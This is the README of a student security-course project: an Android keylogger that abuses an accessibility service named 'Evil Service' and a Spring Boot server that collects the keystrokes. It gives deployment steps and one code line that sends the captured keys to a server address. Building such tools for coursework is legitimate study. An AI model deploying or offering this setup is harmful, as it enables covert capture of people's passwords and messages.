This is a project implemented as Project for the Information Systems Security Course. The main idea is developing a basic key logger for android mobile devices.
- keylogapp => Basic Android Java Mobile Application that logs keys
- keylogweb => Spring Boot Web Application that receives logged keys
- Deploy
keylogwebapplication- NOTE: your andorid phone must have access to the server that web application running via network or internet etc.
- You can directly start with following command:
mvn clean package spring-boot:run
- Prepare
keylogappfor deployment- Go To KeyLogger.java
- Find the following line
sendLog("http://192.168.1.37:8080/keylog/save", keyLog); - Replace
192.168.1.37with the IP of the machine that you deploykeylogweb
- Build APK and Install it on your Android Device
- You should enable
Evil Servicewhich listens key press and send them to the server- after installed the App, you have to open Accessibility settings. (A button named
Evil Serviceis added as a shortcut to directly jump accesibility settings.) Then at the bottom of the page, you will seeEvil Serviceunder Downloaded Services. You should enable Evil Service from there. Then it will works.
- after installed the App, you have to open Accessibility settings. (A button named
- You can check your browser and you will see that each key-press on your Android phone will be printed to the web-page.
! Hint: Do not forget to refresh browser manually. Auto-refresh feature not implemented :)
